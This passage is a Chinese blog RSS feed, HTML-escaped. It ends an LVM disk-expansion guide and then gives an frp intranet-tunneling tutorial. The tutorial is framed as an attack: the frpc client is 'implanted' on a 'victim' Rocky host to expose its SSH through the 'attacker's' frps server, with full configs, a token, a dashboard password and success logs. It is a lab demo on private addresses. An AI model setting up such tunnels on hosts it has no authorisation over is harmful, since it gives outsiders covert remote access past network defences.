PE&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0&lt;/p&gt;&lt;p&gt;&amp;nbsp; Allocated PE&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 25087&lt;/p&gt;&lt;p&gt;&amp;nbsp; PV UUID&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;JHy9yT-0nox-XO3s-npPX-9gus-Hg4y-ZAgeEK&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;vgdisplay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;查看卷组（VG）&lt;/pre&gt;&lt;p&gt;&amp;nbsp; --- Volume group ---&lt;/p&gt;&lt;p&gt;&amp;nbsp; VG Name&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ubuntu-vg&lt;/p&gt;&lt;p&gt;&amp;nbsp; System ID&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; Format&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; lvm2&lt;/p&gt;&lt;p&gt;&amp;nbsp; Metadata Areas&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1&lt;/p&gt;&lt;p&gt;&amp;nbsp; Metadata Sequence No&amp;nbsp; 3&lt;/p&gt;&lt;p&gt;&amp;nbsp; VG Access&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;read/write&lt;/p&gt;&lt;p&gt;&amp;nbsp; VG Status&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;resizable&lt;/p&gt;&lt;p&gt;&amp;nbsp; MAX LV&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0&lt;/p&gt;&lt;p&gt;&amp;nbsp; Cur LV&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1&lt;/p&gt;&lt;p&gt;&amp;nbsp; Open LV&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;/p&gt;&lt;p&gt;&amp;nbsp; Max PV&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0&lt;/p&gt;&lt;p&gt;&amp;nbsp; Cur PV&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1&lt;/p&gt;&lt;p&gt;&amp;nbsp; Act PV&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1&lt;/p&gt;&lt;p&gt;&amp;nbsp; VG Size&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;98.00 GiB&lt;/p&gt;&lt;p&gt;&amp;nbsp; PE Size&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4.00 MiB&lt;/p&gt;&lt;p&gt;&amp;nbsp; Total PE&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 25087&lt;/p&gt;&lt;p&gt;&amp;nbsp; Alloc PE / Size&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;25087 / &amp;lt;98.00 GiB&lt;/p&gt;&lt;p&gt;&amp;nbsp; Free&amp;nbsp; PE / Size&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 / 0&amp;nbsp; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; VG UUID&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;NrhLNt-fRv4-BQQ4-jTq0-YsMn-uluU-tfuk1X&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;lvdisplay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;查看逻辑卷（LV）&lt;/pre&gt;&lt;p&gt;&amp;nbsp; --- Logical volume ---&lt;/p&gt;&lt;p&gt;&amp;nbsp; LV Path&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /dev/ubuntu-vg/ubuntu-lv&lt;/p&gt;&lt;p&gt;&amp;nbsp; LV Name&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ubuntu-lv&lt;/p&gt;&lt;p&gt;&amp;nbsp; VG Name&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ubuntu-vg&lt;/p&gt;&lt;p&gt;&amp;nbsp; LV UUID&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; HdVniS-7Tpe-GHaV-9LZp-SMPc-G6vV-2TBJQP&lt;/p&gt;&lt;p&gt;&amp;nbsp; LV Write Access&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; read/write&lt;/p&gt;&lt;p&gt;&amp;nbsp; LV Creation host, time ubuntu-server, 2025-10-19 06:51:33 +0000&lt;/p&gt;&lt;p&gt;&amp;nbsp; LV Status&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; available&lt;/p&gt;&lt;p&gt;&amp;nbsp; # open&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;/p&gt;&lt;p&gt;&amp;nbsp; LV Size&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;98.00 GiB&lt;/p&gt;&lt;p&gt;&amp;nbsp; Current LE&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;25087&lt;/p&gt;&lt;p&gt;&amp;nbsp; Segments&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;/p&gt;&lt;p&gt;&amp;nbsp; Allocation&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;inherit&lt;/p&gt;&lt;p&gt;&amp;nbsp; Read ahead sectors&amp;nbsp; &amp;nbsp; &amp;nbsp;auto&lt;/p&gt;&lt;p&gt;&amp;nbsp; - currently set to&amp;nbsp; &amp;nbsp; &amp;nbsp;256&lt;/p&gt;&lt;p&gt;&amp;nbsp; Block device&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;253:0&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;步骤 2：初始化 /dev/sdc 为物理卷（PV） （根据lsblk获得物理盘名称）&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;pvcreate&amp;nbsp;/dev/sdc&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;步骤 3：将 /dev/sdc 添加到 ubuntu-vg 卷组&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;vgextend&amp;nbsp;ubuntu-vg&amp;nbsp;/dev/sdc&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;步骤 4：扩展逻辑卷 ubuntu-lv&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;lvextend&amp;nbsp;-l&amp;nbsp;+100%FREE&amp;nbsp;/dev/ubuntu-vg/ubuntu-lv&lt;/pre&gt;&lt;p&gt;如果物理盘的一部分空间挂载到逻辑盘中，拓展空间直接从此步骤开始即可。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;步骤 5：调整文件系统大小&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;如果是&amp;nbsp;ext4（默认）：
sudo&amp;nbsp;resize2fs&amp;nbsp;/dev/ubuntu-vg/ubuntu-lv
如果是&amp;nbsp;xfs：
sudo&amp;nbsp;xfs_growfs&amp;nbsp;/&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;步骤 6：验证扩展结果&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;df&amp;nbsp;-h&amp;nbsp;/&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;检查&amp;nbsp;`/`&amp;nbsp;的总大小
lsblk&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;查看所有磁盘和&amp;nbsp;LVM&amp;nbsp;结构
sudo&amp;nbsp;pvdisplay&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;确认&amp;nbsp;`/dev/sdc`&amp;nbsp;已被使用&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sun, 16 Nov 2025 15:09:06 +0800</pubDate></item><item><title>最强内网穿透服务【frp】搭建教程</title><link>https://www.yuyuxiang.top/?id=11</link><description>&lt;p&gt;友情引用链接：&lt;a href=&quot;https://juejin.cn/post/7503111373469368329&quot; _src=&quot;https://juejin.cn/post/7503111373469368329&quot;&gt;https://juejin.cn/post/7503111373469368329&lt;/a&gt;&amp;nbsp;（写的很棒）&lt;/p&gt;&lt;h1&gt;从0搭建配置frp隧道：&lt;br/&gt;&lt;/h1&gt;&lt;h2&gt;隧道原理图解：&lt;/h2&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/08/202508121754961274839443.png&quot; alt=&quot;image.png&quot; width=&quot;913&quot; height=&quot;527&quot; style=&quot;width: 913px; height: 527px;&quot;/&gt;&lt;/p&gt;&lt;h2&gt;隧道项目安装包：&lt;/h2&gt;&lt;p&gt;&lt;span style=&quot;color: #808080; font-family: &amp;quot;PingFang SC&amp;quot;; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;&lt;a href=&quot;https://github.com/fatedier/frp&quot; _src=&quot;https://github.com/fatedier/frp&quot;&gt;https://github.com/fatedier/frp&lt;/a&gt; &lt;/span&gt;&lt;/p&gt;&lt;p&gt;☁️ Linux云服务器：选择frp_*_linux_amd64.tar.gz&lt;/p&gt;&lt;p&gt;💻 windos本地开发机：选择frp_*_windows_amd64.zip&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#&amp;nbsp;直接下载+解压（版本号可替换）
curl&amp;nbsp;-L&amp;nbsp;https://github.com/fatedier/frp/releases/download/v0.62.1/frp_0.62.1_linux_amd64.tar.gz&amp;nbsp;|&amp;nbsp;tar&amp;nbsp;-xz&lt;/pre&gt;&lt;h2&gt;下载工具文件目录：&lt;/h2&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;frp_0.52.3_linux_amd64/
├──&amp;nbsp;frps&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;服务端核心程序（Server）
├──&amp;nbsp;frps.toml&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;服务端配置文件
├──&amp;nbsp;frpc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;客户端核心程序（Client）
├──&amp;nbsp;frpc.toml&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;客户端配置文件
└──&amp;nbsp;LICENSE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;开源协议&lt;/pre&gt;&lt;h2&gt;重点文件介绍：（四个文件包含两个配置文件【客户端、服务器端】，两个程序文件【客户端、服务器端】）&lt;br/&gt;&lt;/h2&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;服务端一套文件（攻击者配置使用）：
frps：穿透服务的&amp;quot;大脑&amp;quot;，负责接收和路由所有外部请求
frps.toml：服务配置中枢（相当于大脑的&amp;quot;使用说明书&amp;quot;）
客户端一套文件（受害者配置使用）：
frpc：连接服务的&amp;quot;使者&amp;quot;，建立与服务器的安全隧道
frpc.toml：客户端配置指南（使者的&amp;quot;任务清单&amp;quot;）&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;公网用户&amp;nbsp;→&amp;nbsp;[&amp;nbsp;frps&amp;nbsp;服务端&amp;nbsp;]&amp;nbsp;←→&amp;nbsp;[&amp;nbsp;frpc&amp;nbsp;客户端&amp;nbsp;]&amp;nbsp;→&amp;nbsp;你的本地服务&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(云服务器)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(加密隧道)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(192.168.x.x)&lt;/pre&gt;&lt;h2&gt;配置过程：&lt;br/&gt;&lt;/h2&gt;&lt;h3&gt;演示机器：&lt;/h3&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;Ubuntu&amp;nbsp;Linux：192.168.2.156（攻击者）
Rocky&amp;nbsp;Linux：192.168.2.135（被攻击者）&lt;/pre&gt;&lt;h3&gt;文件上传到对应机器上：&lt;/h3&gt;&lt;h4 style=&quot;text-wrap: wrap;&quot;&gt;rocky受害者：&lt;/h4&gt;&lt;p&gt;受控机器文件目录：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;[root@34root&amp;nbsp;ftpc_beikong]#&amp;nbsp;ls
frpc&amp;nbsp;&amp;nbsp;frpc.toml&lt;/pre&gt;&lt;p&gt;配置文件信息:&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;[root@34root&amp;nbsp;ftpc_beikong]#&amp;nbsp;cat&amp;nbsp;frpc.toml&amp;nbsp;
#&amp;nbsp;可以参考官方配置frpc_full_example.toml，里面有详细配置说明
#&amp;nbsp;https://github.com/fatedier/frp/blob/405969085fb6b5c8058c88ca250e930ba6092153/conf/frpc_full_example.toml

#&amp;nbsp;填写你的frps&amp;nbsp;server的ip&amp;nbsp;和&amp;nbsp;port
serverAddr&amp;nbsp;=&amp;nbsp;&amp;quot;192.168.2.156&amp;quot;
serverPort&amp;nbsp;=&amp;nbsp;17000

#&amp;nbsp;配置&amp;nbsp;token&amp;nbsp;认证，frpc&amp;nbsp;客户端需指定frps一样的token
auth.method&amp;nbsp;=&amp;nbsp;&amp;quot;token&amp;quot;
auth.token&amp;nbsp;=&amp;nbsp;&amp;quot;ceshi123&amp;quot;

#&amp;nbsp;在&amp;nbsp;frp&amp;nbsp;中，一个代理对应一个需要公开访问的内网服务。
#&amp;nbsp;一个客户端可以同时配置多个代理，以满足不同的需求。
#&amp;nbsp;下面配置的是将&amp;nbsp;win10&amp;nbsp;远程桌面暴露到&amp;nbsp;frps_ip&amp;nbsp;60002端口上
[[proxies]]
name&amp;nbsp;=&amp;nbsp;&amp;quot;rizx-ssh&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;代理名称（可自定义）
type&amp;nbsp;=&amp;nbsp;&amp;quot;tcp&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;SSH&amp;nbsp;使用&amp;nbsp;TCP&amp;nbsp;协议
localIP&amp;nbsp;=&amp;nbsp;&amp;quot;127.0.0.1&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;本地&amp;nbsp;SSH&amp;nbsp;服务地址
localPort&amp;nbsp;=&amp;nbsp;22&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;本地&amp;nbsp;SSH&amp;nbsp;端口（默认&amp;nbsp;22）
remotePort&amp;nbsp;=&amp;nbsp;60022&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;外网访问的端口（可自定义）&lt;/pre&gt;&lt;h4 style=&quot;text-wrap: wrap;&quot;&gt;ubuntu攻击者：&lt;/h4&gt;&lt;p&gt;攻击者机器文件目录：&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;root@lyxserver:/home/ubuntu/ftp#&amp;nbsp;ls
frps&amp;nbsp;&amp;nbsp;frps.toml&lt;/pre&gt;&lt;p&gt;配置文件信息：&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;root@lyxserver:/home/ubuntu/ftp#&amp;nbsp;cat&amp;nbsp;frps.toml&amp;nbsp;
#&amp;nbsp;可以参考官方配置frps_full_example.toml，里面有详细配置说明
#&amp;nbsp;https://github.com/fatedier/frp/blob/405969085fb6b5c8058c88ca250e930ba6092153/conf/frps_full_example.toml

#frps监听端口
bindPort&amp;nbsp;=&amp;nbsp;17000

#&amp;nbsp;配置&amp;nbsp;frp&amp;nbsp;dashboard
webServer.addr&amp;nbsp;=&amp;nbsp;&amp;quot;0.0.0.0&amp;quot;
webServer.port&amp;nbsp;=&amp;nbsp;7500
webServer.user&amp;nbsp;=&amp;nbsp;&amp;quot;admin&amp;quot;
webServer.password&amp;nbsp;=&amp;nbsp;&amp;quot;ceshi&amp;quot;

#&amp;nbsp;配置&amp;nbsp;token&amp;nbsp;认证，frpc&amp;nbsp;客户端也需指定一样的token
auth.method&amp;nbsp;=&amp;nbsp;&amp;quot;token&amp;quot;
auth.token&amp;nbsp;=&amp;nbsp;&amp;quot;ceshi123&amp;quot;

#&amp;nbsp;只允许frpc绑定指定ports.&amp;nbsp;
#&amp;nbsp;allowPorts&amp;nbsp;=&amp;nbsp;[
#&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;start&amp;nbsp;=&amp;nbsp;6000,&amp;nbsp;end&amp;nbsp;=&amp;nbsp;6050&amp;nbsp;}
#&amp;nbsp;]&lt;/pre&gt;&lt;h2&gt;运行过程：&lt;/h2&gt;&lt;h3&gt;Ubuntu服务器端：&lt;br/&gt;&lt;/h3&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;ubuntu@lyxserver:~/ftp$&amp;nbsp;chmod&amp;nbsp;700&amp;nbsp;frps
ubuntu@lyxserver:~/ftp$&amp;nbsp;ls
frps&amp;nbsp;&amp;nbsp;frps.toml
ubuntu@lyxserver:~/ftp$&amp;nbsp;./frps&amp;nbsp;-c&amp;nbsp;frps.toml&amp;nbsp;
2025-07-16&amp;nbsp;05:13:52.520&amp;nbsp;[I]&amp;nbsp;[frps/root.go:105]&amp;nbsp;frps&amp;nbsp;uses&amp;nbsp;config&amp;nbsp;file:&amp;nbsp;frps.toml
2025-07-16&amp;nbsp;05:13:52.864&amp;nbsp;[I]&amp;nbsp;[server/service.go:237]&amp;nbsp;frps&amp;nbsp;tcp&amp;nbsp;listen&amp;nbsp;on&amp;nbsp;0.0.0.0:17000
2025-07-16&amp;nbsp;05:13:52.864&amp;nbsp;[I]&amp;nbsp;[frps/root.go:114]&amp;nbsp;frps&amp;nbsp;started&amp;nbsp;successfully
2025-07-16&amp;nbsp;05:13:52.864&amp;nbsp;[I]&amp;nbsp;[server/service.go:351]&amp;nbsp;dashboard&amp;nbsp;listen&amp;nbsp;on&amp;nbsp;0.0.0.0:7500&lt;/pre&gt;&lt;h4&gt;浏览器登录后台控制页面&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/07/202507161752649034660286.png&quot; alt=&quot;image.png&quot; width=&quot;930&quot; height=&quot;330&quot; style=&quot;width: 930px; height: 330px;&quot;/&gt;&lt;/h4&gt;&lt;p&gt;出现监控页面代表服务器端配置成功，如果出现如图的连接记录，代表受害者已经成功上线，内网设备已经被穿透出网。&lt;/p&gt;&lt;h3&gt;Rocky被害者植入隧道&lt;/h3&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;[root@lyx&amp;nbsp;ftpc_beikong]#&amp;nbsp;./frpc&amp;nbsp;-c&amp;nbsp;frpc.toml&amp;nbsp;
2025-06-29&amp;nbsp;16:19:12.964&amp;nbsp;[I]&amp;nbsp;[sub/root.go:149]&amp;nbsp;start&amp;nbsp;frpc&amp;nbsp;service&amp;nbsp;for&amp;nbsp;config&amp;nbsp;file&amp;nbsp;[frpc.toml]
2025-06-29&amp;nbsp;16:19:12.964&amp;nbsp;[I]&amp;nbsp;[client/service.go:314]&amp;nbsp;try&amp;nbsp;to&amp;nbsp;connect&amp;nbsp;to&amp;nbsp;server...
2025-06-29&amp;nbsp;16:19:12.968&amp;nbsp;[I]&amp;nbsp;[client/service.go:306]&amp;nbsp;[1505cb8206d24d46]&amp;nbsp;login&amp;nbsp;to&amp;nbsp;server&amp;nbsp;success,&amp;nbsp;get&amp;nbsp;run&amp;nbsp;id&amp;nbsp;[1505cb8206d24d46]
2025-06-29&amp;nbsp;16:19:12.969&amp;nbsp;[I]&amp;nbsp;[proxy/proxy_manager.go:177]&amp;nbsp;[1505cb8206d24d46]&amp;nbsp;proxy&amp;nbsp;added:&amp;nbsp;[rizx-ssh]
2025-06-29&amp;nbsp;16:19:12.970&amp;nbsp;[I]&amp;nbsp;[client/control.go:172]&amp;nbsp;[1505cb8206d24d46]&amp;nbsp;[rizx-ssh]&amp;nbsp;start&amp;nbsp;proxy&amp;nbsp;success&lt;/pre&gt;&lt;p&gt;显示配置成功，隧道配置成功开干。&lt;/p&gt;&lt;h2&gt;结果展示：&lt;/h2&gt;&lt;p&gt;攻击者Ubuntu网络情况：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;root@lyxserver:~#&amp;nbsp;netstat&amp;nbsp;-tupln
激活Internet连接&amp;nbsp;(仅服务器)
Proto&amp;nbsp;Recv-Q&amp;nbsp;Send-Q&amp;nbsp;Local&amp;nbsp;Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Foreign&amp;nbsp;Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;State&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PID/Program&amp;nbsp;name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;127.0.0.1:6010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2999/sshd:&amp;nbsp;ubuntu@p&amp;nbsp;
tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;127.0.0.1:6011&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5442/sshd:&amp;nbsp;ubuntu@p&amp;nbsp;
tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;127.0.0.1:5432&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1371/postgres&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
